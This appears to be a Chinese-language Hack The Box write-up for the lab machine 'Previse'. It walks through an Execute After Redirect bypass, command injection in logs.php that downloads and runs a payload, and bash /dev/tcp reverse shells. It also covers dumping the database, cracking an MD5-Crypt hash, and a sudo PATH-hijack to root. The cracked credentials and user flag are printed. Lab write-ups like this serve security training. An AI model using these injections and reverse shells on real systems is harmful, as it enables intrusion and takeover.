Previse (Hack The Box Writeup)


URL : https://app.hackthebox.eu/machines/373
IP : 10.129.212.165

Recon

  • 掃 Port
    • rustscan -a 10.129.212.165
    • 發現有開 22 跟 80
  • 掃目錄
    • python3 dirsearch.py -u http://10.129.212.165/
    • 基本上沒有什麼有趣的東西
      • 不過有發現有滿多的目錄都會被導到 login.php
      • 先事後諸葛的講一下,注意他們的302檔案大小不同
      • 隨便點開幾個沒有關 index of 的目錄
        • 看不出什麼

準備 Exploit

  • 其實 Recon 玩之後,我就走投無路的卡了兩個小時,途中包含嘗試了 hydra 爆破
    • hydra -L user.txt -P /opt/rockyou.txt 10.129.212.165 http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed:login.php"
  • 後來發現了他們的 302 大小不同
    • 這叫做 Execute After Redirect (EAR) 感謝唉嗚提供!
    • 可以用 Burp 把 Response 也抓包抓起來
      • 並徒手把 301 的 Redirect 改回 200
  • 就可以直接在不登入的狀況下訪問各種目錄了
    • 這算 OWASP TOP 10 的 A2-Broken Authentication
    • 我們先創一個自己的帳號然後進去亂晃
  • 其中在檔案下載的地方,有網頁的原始碼
    • 可以在 `logs.php發現一個明顯的 Command injection 漏洞,但它貌似不會回顯
  • 使用 Command injection
    • curl 'http://10.129.212.165/logs.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.129.212.165' -H 'Connection: keep-alive' -H 'Referer: http://10.129.212.165/file_logs.php' -H 'Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'delim=comma;curl -o /tmp/s 10.10.14.47:8000/s_HTB '
    • 成功載下了我們的 rever sehell
      • bash -c 'bash -i >& /dev/tcp/10.10.14.47/7877 0>&1'
    • 也成功執行起來ㄌ curl 'http://10.129.212.165/logs.php' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.129.212.165' -H 'Connection: keep-alive' -H 'Referer: http://10.129.212.165/file_logs.php' -H 'Cookie: PHPSESSID=g5ssm562il8nfcv9fj771ma1nd' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'delim=comma;bash /tmp/s'

一次提權

  • 發現我們不能 cat user flag
  • 觀察 sudo -l
    • 我們不能用 sudo 做任何事情
  • 從 config.php 可以找到資料庫名稱跟密碼

$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
  • 嘗試把 sql 給 dump 出來
    • mysqldump -u root -h localhost -p previse > a.sql
    • 再載下來
      • wget 10.129.212.165/a.sql
  • 可以觀察到一段帳號跟使用者密馬 hash
    • m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.'
    • 使用 Hash Analyzer分析
      • 發現是 MD5-Crypt
    • 而我自己的使用者密碼也在資料庫中,發現到他們的 Salt 一樣
      • 直接破會發現解不開 QQ
  • 觀察原始碼發現它的 salt 是固定的,而且用了 Unicode 的 Emoji
    • $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
  • 重新修正後就可以用 john 來解ㄌ!
  • 另外這邊也可以用 Hash Cat 來解
    • hashcat -m 500 hash.txt rockyou.txt
    • 可以觀察 Hash cat 的網站,尋找 MD5-Crypt 的代號是 500
      • https://hashcat.net/wiki/doku.php?id=example_hashes
  • 因此我們就取的了一組帳密
    • m4lwhere
    • ilovecody112235!
  • 也可以順利的 SSH 上去了
  • 取得 User Flag
    • aad354dc018b14716dee8310d8f90c03

準備二次提權

  • 起手式 sudo -l
    • 發現我們可以用 sudo 執行 access_backup.sh
    • 但是我們不行對這個檔案進行寫入
  • 發現程式會呼叫 date 的相對位置
    • 所以我們可以用 Path 誤導程式,執行我們的腳本
    • 在本地家目錄創一個 date 檔案,設定 x 權限並寫入 Reverse shell
      • bash -c 'bash -i >& /dev/tcp/10.10.14.47/7878 0>&1'!
    • 執行 PATH=/home/m4lwhere:$PATH sudo /opt/scripts/access_backup.sh
    • 順利取得 Root!!

心得

  • Execute After Redirect (EAR)
    • 用 dirsearch 除了 Status Code 也需要注意檔案大小
    • 302 跳轉可以先用 curl 檢查
    • Burp 也可以攔截 response 把東西拔掉
  • Hash 遇到 Unicode 在 sqldump 或是 cat、less 等狀況 可能會出問題
,

發表迴響